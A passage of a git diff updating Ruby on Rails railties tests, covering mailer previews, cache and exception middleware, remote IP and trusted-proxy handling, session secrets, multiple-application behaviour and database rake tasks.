+            mail to: "to@example.net"
+          end
+        end
+      RUBY
+
+      text_template 'notifier/foo', <<-RUBY
+        Hello, World!
+      RUBY
+
+      text_template 'notifier/bar', <<-RUBY
+        Goodbye, World!
+      RUBY
+
+      mailer_preview 'notifier', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+
+          def bar
+            Notifier.bar
+          end
+        end
+      RUBY
+
+      sleep(1)
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+      assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+      assert_match '<li><a href="/rails/mailers/notifier/bar">bar</a></li>', last_response.body
+
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      remove_file 'app/views/notifier/bar.text.erb'
+
+      mailer_preview 'notifier', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      sleep(1)
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+      assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+      assert_no_match '<li><a href="/rails/mailers/notifier/bar">bar</a></li>', last_response.body
+    end
+
+    test "mailer previews are reloaded from a custom preview_path" do
+      add_to_config "config.action_mailer.preview_path = '#{app_path}/lib/mailer_previews'"
+
+      app('development')
+
+      get "/rails/mailers"
+      assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template 'notifier/foo', <<-RUBY
+        Hello, World!
+      RUBY
+
+      app_file 'lib/mailer_previews/notifier_preview.rb', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+      remove_file 'lib/mailer_previews/notifier_preview.rb'
+      sleep(1)
+
+      get "/rails/mailers"
+      assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+    end
+
+    test "mailer preview not found" do
+      app('development')
+      get "/rails/mailers/notifier"
+      assert last_response.not_found?
+      assert_match "Mailer preview &#39;notifier&#39; not found", last_response.body
+    end
+
+    test "mailer preview email not found" do
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template 'notifier/foo', <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview 'notifier', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app('development')
+
+      get "/rails/mailers/notifier/bar"
+      assert last_response.not_found?
+      assert_match "Email &#39;bar&#39; not found in NotifierPreview", last_response.body
+    end
+
+    test "mailer preview email part not found" do
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template 'notifier/foo', <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview 'notifier', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app('development')
+
+      get "/rails/mailers/notifier/foo?part=text%2Fhtml"
+      assert last_response.not_found?
+      assert_match "Email part &#39;text/html&#39; not found in NotifierPreview#foo", last_response.body
+    end
+
+    test "message header uses full display names" do
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "Ruby on Rails <core@rubyonrails.org>"
+
+          def foo
+            mail to: "Andrew White <andyw@pixeltrix.co.uk>",
+                 cc: "David Heinemeier Hansson <david@heinemeierhansson.com>"
+          end
+        end
+      RUBY
+
+      text_template 'notifier/foo', <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview 'notifier', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app('development')
+
+      get "/rails/mailers/notifier/foo"
+      assert_equal 200, last_response.status
+      assert_match "Ruby on Rails &lt;core@rubyonrails.org&gt;", last_response.body
+      assert_match "Andrew White &lt;andyw@pixeltrix.co.uk&gt;", last_response.body
+      assert_match "David Heinemeier Hansson &lt;david@heinemeierhansson.com&gt;", last_response.body
+    end
+
+    test "part menu selects correct option" do
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      html_template 'notifier/foo', <<-RUBY
+        <p>Hello, World!</p>
+      RUBY
+
+      text_template 'notifier/foo', <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview 'notifier', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app('development')
+
+      get "/rails/mailers/notifier/foo.html"
+      assert_equal 200, last_response.status
+      assert_match '<option selected value="?part=text%2Fhtml">View as HTML email</option>', last_response.body
+
+      get "/rails/mailers/notifier/foo.txt"
+      assert_equal 200, last_response.status
+      assert_match '<option selected value="?part=text%2Fplain">View as plain-text email</option>', last_response.body
+    end
+
+    private
+      def build_app
+        super
+        app_file "config/routes.rb", "Rails.application.routes.draw do; end"
+      end
+
+      def mailer(name, contents)
+        app_file("app/mailers/#{name}.rb", contents)
+      end
+
+      def mailer_preview(name, contents)
+        app_file("test/mailers/previews/#{name}_preview.rb", contents)
+      end
+
+      def html_template(name, contents)
+        app_file("app/views/#{name}.html.erb", contents)
+      end
+
+      def text_template(name, contents)
+        app_file("app/views/#{name}.text.erb", contents)
+      end
+  end
+end
diff --git a/railties/test/application/middleware/cache_test.rb b/railties/test/application/middleware/cache_test.rb
index b4db840e68..c951dabd6c 100644
--- a/railties/test/application/middleware/cache_test.rb
+++ b/railties/test/application/middleware/cache_test.rb
@@ -81,8 +81,8 @@ module ApplicationTests
       add_to_config "config.action_dispatch.rack_cache = true"
 
       get "/expires/expires_header"
-      assert_equal "miss, ignore, store", last_response.headers["X-Rack-Cache"]
-      assert_equal "max-age=10, public",  last_response.headers["Cache-Control"]
+      assert_equal "miss, store", last_response.headers["X-Rack-Cache"]
+      assert_equal "max-age=10, public", last_response.headers["Cache-Control"]
 
       body = last_response.body
 
@@ -115,8 +115,8 @@ module ApplicationTests
       add_to_config "config.action_dispatch.rack_cache = true"
 
       get "/expires/expires_etag"
-      assert_equal "miss, ignore, store", last_response.headers["X-Rack-Cache"]
-      assert_equal "public",              last_response.headers["Cache-Control"]
+      assert_equal "miss, store", last_response.headers["X-Rack-Cache"]
+      assert_equal "public", last_response.headers["Cache-Control"]
 
       body = last_response.body
       etag = last_response.headers["ETag"]
@@ -149,8 +149,8 @@ module ApplicationTests
       add_to_config "config.action_dispatch.rack_cache = true"
 
       get "/expires/expires_last_modified"
-      assert_equal "miss, ignore, store", last_response.headers["X-Rack-Cache"]
-      assert_equal "public",              last_response.headers["Cache-Control"]
+      assert_equal "miss, store", last_response.headers["X-Rack-Cache"]
+      assert_equal "public", last_response.headers["Cache-Control"]
 
       body = last_response.body
       last = last_response.headers["Last-Modified"]
diff --git a/railties/test/application/middleware/exceptions_test.rb b/railties/test/application/middleware/exceptions_test.rb
index 42096cfec4..4906f9a1e8 100644
--- a/railties/test/application/middleware/exceptions_test.rb
+++ b/railties/test/application/middleware/exceptions_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'isolation/abstract_unit'
 require 'rack/test'
 
@@ -60,6 +59,21 @@ module ApplicationTests
       assert_equal "YOU FAILED BRO", last_response.body
     end
 
+    test "url generation error when action_dispatch.show_exceptions is set raises an exception" do
+      controller :foo, <<-RUBY
+        class FooController < ActionController::Base
+          def index
+            raise ActionController::UrlGenerationError
+          end
+        end
+      RUBY
+      
+      app.config.action_dispatch.show_exceptions = true
+
+      get '/foo'
+      assert_equal 500, last_response.status
+    end
+
     test "unspecified route when action_dispatch.show_exceptions is not set raises an exception" do
       app.config.action_dispatch.show_exceptions = false
 
diff --git a/railties/test/application/middleware/remote_ip_test.rb b/railties/test/application/middleware/remote_ip_test.rb
index 91c5807379..97d5b5c698 100644
--- a/railties/test/application/middleware/remote_ip_test.rb
+++ b/railties/test/application/middleware/remote_ip_test.rb
@@ -1,3 +1,4 @@
+require 'ipaddr'
 require 'isolation/abstract_unit'
 require 'active_support/key_generator'
 
@@ -33,6 +34,16 @@ module ApplicationTests
       end
     end
 
+    test "works with both headers individually" do
+      make_basic_app
+      assert_nothing_raised(ActionDispatch::RemoteIp::IpSpoofAttackError) do
+        assert_equal "1.1.1.1", remote_ip("HTTP_X_FORWARDED_FOR" => "1.1.1.1")
+      end
+      assert_nothing_raised(ActionDispatch::RemoteIp::IpSpoofAttackError) do
+        assert_equal "1.1.1.2", remote_ip("HTTP_CLIENT_IP" => "1.1.1.2")
+      end
+    end
+
     test "can disable IP spoofing check" do
       make_basic_app do |app|
         app.config.action_dispatch.ip_spoofing_check = false
@@ -43,12 +54,25 @@ module ApplicationTests
       end
     end
 
+    test "remote_ip works with HTTP_X_FORWARDED_FOR" do
+      make_basic_app
+      assert_equal "4.2.42.42", remote_ip("REMOTE_ADDR" => "1.1.1.1", "HTTP_X_FORWARDED_FOR" => "4.2.42.42")
+    end
+
     test "the user can set trusted proxies" do
       make_basic_app do |app|
         app.config.action_dispatch.trusted_proxies = /^4\.2\.42\.42$/
       end
 
-      assert_equal "1.1.1.1", remote_ip("REMOTE_ADDR" => "4.2.42.42,1.1.1.1")
+      assert_equal "1.1.1.1", remote_ip("REMOTE_ADDR" => "1.1.1.1", "HTTP_X_FORWARDED_FOR" => "4.2.42.42")
+    end
+
+    test "the user can set trusted proxies with an IPAddr argument" do
+      make_basic_app do |app|
+        app.config.action_dispatch.trusted_proxies = IPAddr.new('4.2.42.0/24')
+      end
+
+      assert_equal "1.1.1.1", remote_ip("REMOTE_ADDR" => "1.1.1.1", "HTTP_X_FORWARDED_FOR" => "10.0.0.0,4.2.42.42")
     end
   end
 end
diff --git a/railties/test/application/middleware/sendfile_test.rb b/railties/test/application/middleware/sendfile_test.rb
index eb791f5687..dc96480d6d 100644
--- a/railties/test/application/middleware/sendfile_test.rb
+++ b/railties/test/application/middleware/sendfile_test.rb
@@ -61,7 +61,7 @@ module ApplicationTests
     test "files handled by ActionDispatch::Static are handled by Rack::Sendfile" do
       make_basic_app do |app|
         app.config.action_dispatch.x_sendfile_header = 'X-Sendfile'
-        app.config.serve_static_assets = true
+        app.config.serve_static_files = true
         app.paths["public"] = File.join(rails_root, "public")
       end
 
diff --git a/railties/test/application/middleware/session_test.rb b/railties/test/application/middleware/session_test.rb
index 14a56176f5..a8dc79d10a 100644
--- a/railties/test/application/middleware/session_test.rb
+++ b/railties/test/application/middleware/session_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'isolation/abstract_unit'
 require 'rack/test'
 
@@ -203,7 +202,7 @@ module ApplicationTests
       RUBY
 
       add_to_config <<-RUBY
-        config.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
+        secrets.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
       RUBY
 
       require "#{app_path}/config/environment"
@@ -258,7 +257,7 @@ module ApplicationTests
       RUBY
 
       add_to_config <<-RUBY
-        config.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
+        secrets.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
       RUBY
 
       require "#{app_path}/config/environment"
@@ -317,8 +316,8 @@ module ApplicationTests
       RUBY
 
       add_to_config <<-RUBY
-        config.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
-        config.secret_key_base = nil
+        secrets.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
+        secrets.secret_key_base = nil
       RUBY
 
       require "#{app_path}/config/environment"
@@ -334,7 +333,7 @@ module ApplicationTests
       get '/foo/read_signed_cookie'
       assert_equal '2', last_response.body
 
-      verifier = ActiveSupport::MessageVerifier.new(app.config.secret_token)
+      verifier = ActiveSupport::MessageVerifier.new(app.secrets.secret_token)
 
       get '/foo/read_raw_cookie'
       assert_equal 2, verifier.verify(last_response.body)['foo']
diff --git a/railties/test/application/middleware/static_test.rb b/railties/test/application/middleware/static_test.rb
index 0a793f8f60..121c5d3321 100644
--- a/railties/test/application/middleware/static_test.rb
+++ b/railties/test/application/middleware/static_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'isolation/abstract_unit'
 require 'rack/test'
 
diff --git a/railties/test/application/middleware_test.rb b/railties/test/application/middleware_test.rb
index 31a35a09bb..c64fe082f3 100644
--- a/railties/test/application/middleware_test.rb
+++ b/railties/test/application/middleware_test.rb
@@ -61,7 +61,7 @@ module ApplicationTests
 
       boot!
 
-      assert_equal "Rack::Cache", middleware.first
+      assert middleware.include?("Rack::Cache")
     end
 
     test "ActiveRecord::Migration::CheckPending is present when active_record.migration_error is set to :page_load" do
@@ -83,7 +83,7 @@ module ApplicationTests
       add_to_config "config.ssl_options = { host: 'example.com' }"
       boot!
 
-      assert_equal Rails.application.middleware.first.args, [{host: 'example.com'}]
+      assert_equal [{host: 'example.com'}], Rails.application.middleware.first.args
     end
 
     test "removing Active Record omits its middleware" do
@@ -94,20 +94,27 @@ module ApplicationTests
       assert !middleware.include?("ActiveRecord::Migration::CheckPending")
     end
 
-    test "removes lock if cache classes is set" do
+    test "includes lock if cache_classes is set but eager_load is not" do
       add_to_config "config.cache_classes = true"
       boot!
+      assert middleware.include?("Rack::Lock")
+    end
+
+    test "does not include lock if cache_classes is set and so is eager_load" do
+      add_to_config "config.cache_classes = true"
+      add_to_config "config.eager_load = true"
+      boot!
       assert !middleware.include?("Rack::Lock")
     end
 
-    test "removes lock if allow concurrency is set" do
+    test "does not include lock if allow_concurrency is set" do
       add_to_config "config.allow_concurrency = true"
       boot!
       assert !middleware.include?("Rack::Lock")
     end
 
-    test "removes static asset server if serve_static_assets is disabled" do
-      add_to_config "config.serve_static_assets = false"
+    test "removes static asset server if serve_static_files is disabled" do
+      add_to_config "config.serve_static_files = false"
       boot!
       assert !middleware.include?("ActionDispatch::Static")
     end
@@ -144,6 +151,12 @@ module ApplicationTests
       assert_equal "Rack::Config", middleware.second
     end
 
+    test 'unshift middleware' do
+      add_to_config 'config.middleware.unshift Rack::Config'
+      boot!
+      assert_equal 'Rack::Config', middleware.first
+    end
+
     test "Rails.cache does not respond to middleware" do
       add_to_config "config.cache_store = :memory_store"
       boot!
@@ -182,7 +195,7 @@ module ApplicationTests
         end
       end
 
-      etag = "5af83e3196bf99f440f31f2e1a6c9afe".inspect
+      etag = "W/" + "5af83e3196bf99f440f31f2e1a6c9afe".inspect
 
       get "/"
       assert_equal 200, last_response.status
diff --git a/railties/test/application/multiple_applications_test.rb b/railties/test/application/multiple_applications_test.rb
index 03c343c475..cddc79cc85 100644
--- a/railties/test/application/multiple_applications_test.rb
+++ b/railties/test/application/multiple_applications_test.rb
@@ -8,6 +8,7 @@ module ApplicationTests
       build_app(initializers: true)
       boot_rails
       require "#{rails_root}/config/environment"
+      Rails.application.config.some_setting = 'something_or_other'
     end
 
     def teardown
@@ -18,7 +19,13 @@ module ApplicationTests
       clone = Rails.application.clone
 
       assert_equal Rails.application.config, clone.config, "The cloned application should get a copy of the config"
-      assert_equal Rails.application.config.secret_key_base, clone.config.secret_key_base, "The base secret key on the config should be the same"
+      assert_equal Rails.application.config.some_setting, clone.config.some_setting, "The some_setting on the config should be the same"
+    end
+
+    def test_inheriting_multiple_times_from_application
+      new_application_class = Class.new(Rails::Application)
+
+      assert_not_equal Rails.application.object_id, new_application_class.instance.object_id
     end
 
     def test_initialization_of_multiple_copies_of_same_application
@@ -30,23 +37,23 @@ module ApplicationTests
     end
 
     def test_initialization_of_application_with_previous_config
-      application1 = AppTemplate::Application.new(config: Rails.application.config)
-      application2 = AppTemplate::Application.new
+      application1 = AppTemplate::Application.create(config: Rails.application.config)
+      application2 = AppTemplate::Application.create
 
       assert_equal Rails.application.config, application1.config, "Creating a new application while setting an initial config should result in the same config"
       assert_not_equal Rails.application.config, application2.config, "New applications without setting an initial config should not have the same config"
     end
 
     def test_initialization_of_application_with_previous_railties
-      application1 = AppTemplate::Application.new(railties: Rails.application.railties)
-      application2 = AppTemplate::Application.new
+      application1 = AppTemplate::Application.create(railties: Rails.application.railties)
+      application2 = AppTemplate::Application.create
 
       assert_equal Rails.application.railties, application1.railties
       assert_not_equal Rails.application.railties, application2.railties
     end
 
     def test_initialize_new_application_with_all_previous_initialization_variables
-      application1 = AppTemplate::Application.new(
+      application1 = AppTemplate::Application.create(
         config:           Rails.application.config,
         railties:         Rails.application.railties,
         routes_reloader:  Rails.application.routes_reloader,
@@ -66,26 +73,26 @@ module ApplicationTests
     end
 
     def test_rake_tasks_defined_on_different_applications_go_to_the_same_class
-      $run_count = 0
+      run_count = 0
 
       application1 = AppTemplate::Application.new
       application1.rake_tasks do
-        $run_count += 1
+        run_count += 1
       end
 
       application2 = AppTemplate::Application.new
       application2.rake_tasks do
-        $run_count += 1
+        run_count += 1
       end
 
       require "#{app_path}/config/environment"
 
-      assert_equal 0, $run_count, "The count should stay at zero without any calls to the rake tasks"
+      assert_equal 0, run_count, "The count should stay at zero without any calls to the rake tasks"
       require 'rake'
       require 'rake/testtask'
       require 'rdoc/task'
       Rails.application.load_tasks
-      assert_equal 2, $run_count, "Calling a rake task should result in two increments to the count"
+      assert_equal 2, run_count, "Calling a rake task should result in two increments to the count"
     end
 
     def test_multiple_applications_can_be_initialized
@@ -94,36 +101,56 @@ module ApplicationTests
 
     def test_initializers_run_on_different_applications_go_to_the_same_class
       application1 = AppTemplate::Application.new
-      $run_count = 0
+      run_count = 0
 
       AppTemplate::Application.initializer :init0 do
-        $run_count += 1
+        run_count += 1
       end
 
       application1.initializer :init1 do
-        $run_count += 1
+        run_count += 1
       end
 
       AppTemplate::Application.new.initializer :init2 do
-        $run_count += 1
+        run_count += 1
       end
 
-      assert_equal 0, $run_count, "Without loading the initializers, the count should be 0"
+      assert_equal 0, run_count, "Without loading the initializers, the count should be 0"
 
-      # Set config.eager_load to false so that a eager_load warning doesn't pop up
+      # Set config.eager_load to false so that an eager_load warning doesn't pop up
       AppTemplate::Application.new { config.eager_load = false }.initialize!
 
-      assert_equal 3, $run_count, "There should have been three initializers that incremented the count"
+      assert_equal 3, run_count, "There should have been three initializers that incremented the count"
+    end
+
+    def test_consoles_run_on_different_applications_go_to_the_same_class
+      run_count = 0
+      AppTemplate::Application.console { run_count += 1 }
+      AppTemplate::Application.new.console { run_count += 1 }
+
+      assert_equal 0, run_count, "Without loading the consoles, the count should be 0"
+      Rails.application.load_console
+      assert_equal 2, run_count, "There should have been two consoles that increment the count"
+    end
+
+    def test_generators_run_on_different_applications_go_to_the_same_class
+      run_count = 0
+      AppTemplate::Application.generators { run_count += 1 }
+      AppTemplate::Application.new.generators { run_count += 1 }
+
+      assert_equal 0, run_count, "Without loading the generators, the count should be 0"
+      Rails.application.load_generators
+      assert_equal 2, run_count, "There should have been two generators that increment the count"
     end
 
     def test_runners_run_on_different_applications_go_to_the_same_class
-      $run_count = 0
-      AppTemplate::Application.runner { $run_count += 1 }
-      AppTemplate::Application.new.runner { $run_count += 1 }
+      run_count = 0
+      AppTemplate::Application.runner { run_count += 1 }
+      AppTemplate::Application.new.runner { run_count += 1 }
 
-      assert_equal 0, $run_count, "Without loading the runners, the count should be 0"
+      assert_equal 0, run_count, "Without loading the runners, the count should be 0"
       Rails.application.load_runner
-      assert_equal 2, $run_count, "There should have been two runners that increment the count"
+      assert_equal 2, run_count, "There should have been two runners that increment the count"
     end
 
     def test_isolate_namespace_on_an_application
@@ -134,13 +161,14 @@ module ApplicationTests
 
     def test_inserting_configuration_into_application
       app = AppTemplate::Application.new(config: Rails.application.config)
-      new_config = Rails::Application::Configuration.new("root_of_application")
-      new_config.secret_key_base = "some_secret_key_dude"
-      app.config.secret_key_base = "a_different_secret_key"
+      app.config.some_setting = "a_different_setting"
+      assert_equal "a_different_setting", app.config.some_setting, "The configuration's some_setting should be set."
 
-      assert_equal "a_different_secret_key", app.config.secret_key_base, "The configuration's secret key should be set."
+      new_config = Rails::Application::Configuration.new("root_of_application")
+      new_config.some_setting = "some_setting_dude"
       app.config = new_config
-      assert_equal "some_secret_key_dude", app.config.secret_key_base, "The configuration's secret key should have changed."
+
+      assert_equal "some_setting_dude", app.config.some_setting, "The configuration's some_setting should have changed."
       assert_equal "root_of_application", app.config.root, "The root should have changed to the new config's root."
       assert_equal new_config, app.config, "The application's config should have changed to the new config."
     end
diff --git a/railties/test/application/rack/logger_test.rb b/railties/test/application/rack/logger_test.rb
index 701843a6fd..0082ec9cd2 100644
--- a/railties/test/application/rack/logger_test.rb
+++ b/railties/test/application/rack/logger_test.rb
@@ -11,10 +11,12 @@ module ApplicationTests
 
       def setup
         build_app
+        add_to_config <<-RUBY
+          config.logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+        RUBY
+
         require "#{app_path}/config/environment"
         super
-        @logger = MockLogger.new
-        Rails.stubs(:logger).returns(@logger)
       end
 
       def teardown
@@ -23,7 +25,7 @@ module ApplicationTests
       end
 
       def logs
-        @logs ||= @logger.logged(:info).join("\n")
+        @logs ||= Rails.logger.logged(:info).join("\n")
       end
 
       test "logger logs proper HTTP GET verb and path" do
diff --git a/railties/test/application/rake/dbs_test.rb b/railties/test/application/rake/dbs_test.rb
index 9e711f25bd..c414732f92 100644
--- a/railties/test/application/rake/dbs_test.rb
+++ b/railties/test/application/rake/dbs_test.rb
@@ -1,4 +1,5 @@
 require "isolation/abstract_unit"
+require "active_support/core_ext/string/strip"
 
 module ApplicationTests
   module RakeTests
@@ -20,62 +21,53 @@ module ApplicationTests
       end
 
       def set_database_url
-        ENV['DATABASE_URL'] = "sqlite3://:@localhost/#{database_url_db_name}"
+        ENV['DATABASE_URL'] = "sqlite3:#{database_url_db_name}"
         # ensure it's using the DATABASE_URL
         FileUtils.rm_rf("#{app_path}/config/database.yml")
       end
 
-      def expected
-        @expected ||= {}
-      end
-
-      def db_create_and_drop
+      def db_create_and_drop(expected_database)
         Dir.chdir(app_path) do
           output = `bundle exec rake db:create`
-          assert_equal output, ""
-          assert File.exists?(expected[:database])
-          assert_equal expected[:database],
-                        ActiveRecord::Base.connection_config[:database]
+          assert_empty output
+          assert File.exist?(expected_database)
+          assert_equal expected_database, ActiveRecord::Base.connection_config[:database]
           output = `bundle exec rake db:drop`
-          assert_equal output, ""
-          assert !File.exists?(expected[:database])
+          assert_empty output
+          assert !File.exist?(expected_database)
         end
       end
 
       test 'db:create and db:drop without database url' do
         require "#{app_path}/config/environment"
-        expected[:database] = ActiveRecord::Base.configurations[Rails.env]['database']
-        db_create_and_drop
-       end
+        db_create_and_drop ActiveRecord::Base.configurations[Rails.env]['database']
+      end
 
       test 'db:create and db:drop with database url' do
         require "#{app_path}/config/environment"
         set_database_url
-        expected[:database] = database_url_db_name
-        db_create_and_drop
+        db_create_and_drop database_url_db_name
       end
 
-      def db_migrate_and_status
+      def db_migrate_and_status(expected_database)
         Dir.chdir(app_path) do
           `rails generate model book title:string;
            bundle exec rake db:migrate`
           output = `bundle exec rake db:migrate:status`
-          assert_match(/database:\s+\S+#{expected[:database]}/, output)
+          assert_match(%r{database:\s+\S*#{Regexp.escape(expected_database)}}, output)
           assert_match(/up\s+\d{14}\s+Create books/, output)
         end
       end
 
       test 'db:migrate and db:migrate:status without database_url' do
         require "#{app_path}/config/environment"
-        expected[:database] = ActiveRecord::Base.configurations[Rails.env]['database']
-        db_migrate_and_status
+        db_migrate_and_status ActiveRecord::Base.configurations[Rails.env]['database']
       end
 
       test 'db:migrate and db:migrate:status with database_url' do
         require "#{app_path}/config/environment"
         set_database_url
-        expected[:database] = database_url_db_name
-        db_migrate_and_status
+        db_migrate_and_status database_url_db_name
       end
 
       def db_schema_dump
@@ -96,12 +88,11 @@ module ApplicationTests
         db_schema_dump
       end
 
-      def db_fixtures_load
+      def db_fixtures_load(expected_database)
         Dir.chdir(app_path) do
           `rails generate model book title:string;
            bundle exec rake db:migrate db:fixtures:load`
-          assert_match(/#{expected[:database]}/,
-                    ActiveRecord::Base.connection_config[:database])
+          assert_match expected_database, ActiveRecord::Base.connection_config[:database]
           require "#{app_path}/app/models/book"
           assert_equal 2, Book.count
         end
@@ -109,43 +100,85 @@ module ApplicationTests
 
       test 'db:fixtures:load without database_url' do
         require "#{app_path}/config/environment"
-        expected[:database] =  ActiveRecord::Base.configurations[Rails.env]['database']
-        db_fixtures_load
+        db_fixtures_load ActiveRecord::Base.configurations[Rails.env]['database']
       end
 
       test 'db:fixtures:load with database_url' do
         require "#{app_path}/config/environment"
         set_database_url
-        expected[:database] = database_url_db_name
-        db_fixtures_load
+        db_fixtures_load database_url_db_name
+      end
+
+      test 'db:fixtures:load with namespaced fixture' do
+        require "#{app_path}/config/environment"
+        Dir.chdir(app_path) do
+          `rails generate model admin::book title:string;
+           bundle exec rake db:migrate db:fixtures:load`
+          require "#{app_path}/app/models/admin/book"
+          assert_equal 2, Admin::Book.count
+        end
       end
 
-      def db_structure_dump_and_load
+      def db_structure_dump_and_load(expected_database)
         Dir.chdir(app_path) do
           `rails generate model book title:string;
            bundle exec rake db:migrate db:structure:dump`
           structure_dump = File.read("db/structure.sql")
           assert_match(/CREATE TABLE \"books\"/, structure_dump)
-          `bundle exec rake db:drop db:structure:load`
-          assert_match(/#{expected[:database]}/,
-                        ActiveRecord::Base.connection_config[:database])
+          `bundle exec rake environment db:drop db:structure:load`
+          assert_match expected_database, ActiveRecord::Base.connection_config[:database]
           require "#{app_path}/app/models/book"
           #if structure is not loaded correctly, exception would be raised
-          assert Book.count, 0
+          assert_equal 0, Book.count
         end
       end
 
       test 'db:structure:dump and db:structure:load without database_url' do
         require "#{app_path}/config/environment"
-        expected[:database] =  ActiveRecord::Base.configurations[Rails.env]['database']
-        db_structure_dump_and_load
+        db_structure_dump_and_load ActiveRecord::Base.configurations[Rails.env]['database']
       end
 
       test 'db:structure:dump and db:structure:load with database_url' do
         require "#{app_path}/config/environment"
         set_database_url
-        expected[:database] = database_url_db_name
-        db_structure_dump_and_load
+        db_structure_dump_and_load database_url_db_name
+      end
+
+      test 'db:structure:dump does not dump schema information when no migrations are used' do
+        Dir.chdir(app_path) do
+          # create table without migrations
+          `bundle exec rails runner 'ActiveRecord::Base.connection.create_table(:posts) {|t| t.string :title }'`
+
+          stderr_output = capture(:stderr) { `bundle exec rake db:structure:dump` }
+          assert_empty stderr_output
+          structure_dump = File.read("db/structure.sql")
+          assert_match(/CREATE TABLE \"posts\"/, structure_dump)
+        end
+      end
+
+      test 'db:schema:load and db:structure:load do not purge the existing database' do
+        Dir.chdir(app_path) do
+          `bin/rails runner 'ActiveRecord::Base.connection.create_table(:posts) {|t| t.string :title }'`
+
+          app_file 'db/schema.rb', <<-RUBY
+            ActiveRecord::Schema.define(version: 20140423102712) do
+              create_table(:comments) {}
+            end
+          RUBY
+
+          list_tables = lambda { `bin/rails runner 'p ActiveRecord::Base.connection.tables'`.strip }
+
+          assert_equal '["posts"]', list_tables[]
+          `bin/rake db:schema:load`
+          assert_equal '["posts", "comments", "schema_migrations"]', list_tables[]
+
+          app_file 'db/structure.sql', <<-SQL
+            CREATE TABLE "users" ("id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, "name" varchar(255));
+          SQL
+
+          `bin/rake db:structure:load`
+          assert_equal '["posts", "comments", "schema_migrations", "users"]', list_tables[]
+        end
       end
 
       def db_test_load_structure
@@ -153,12 +186,12 @@ module ApplicationTests
           `rails generate model book title:string;
            bundle exec rake db:migrate db:structure:dump db:test:load_structure`
           ActiveRecord::Base.configurations = Rails.application.config.database_configuration
-          ActiveRecord::Base.establish_connection 'test'
+          ActiveRecord::Base.establish_connection :test
           require "#{app_path}/app/models/book"
           #if structure is not loaded correctly, exception would be raised
-          assert Book.count, 0
-          assert_match(/#{ActiveRecord::Base.configurations['test']['database']}/,
-                        ActiveRecord::Base.connection_config[:database])
+          assert_equal 0, Book.count
+          assert_match ActiveRecord::Base.configurations['test']['database'],
+            ActiveRecord::Base.connection_config[:database]
         end
       end
 
@@ -166,6 +199,35 @@ module ApplicationTests
         require "#{app_path}/config/environment"
         db_test_load_structure
       end
+
+      test 'db:setup loads schema and seeds database' do
+        begin
+          @old_rails_env = ENV["RAILS_ENV"]
+          @old_rack_env = ENV["RACK_ENV"]
+          ENV.delete "RAILS_ENV"
+          ENV.delete "RACK_ENV"
+
+          app_file 'db/schema.rb', <<-RUBY
+            ActiveRecord::Schema.define(version: "1") do
+              create_table :users do |t|
+                t.string :name
+              end
+            end
+          RUBY
+
+          app_file 'db/seeds.rb', <<-RUBY
+            puts ActiveRecord::Base.connection_config[:database]
+          RUBY
+
+          Dir.chdir(app_path) do
+            database_path = `bundle exec rake db:setup`
+            assert_equal "development.sqlite3", File.basename(database_path.strip)
+          end
+        ensure
+          ENV["RAILS_ENV"] = @old_rails_env
+          ENV["RACK_ENV"] = @old_rack_env
+        end
+      end
     end
   end
 end
diff --git a/railties/test/application/rake/migrations_test.rb b/railties/test/application/rake/migrations_test.rb
index 33c753868c..a3819b93b2 100644
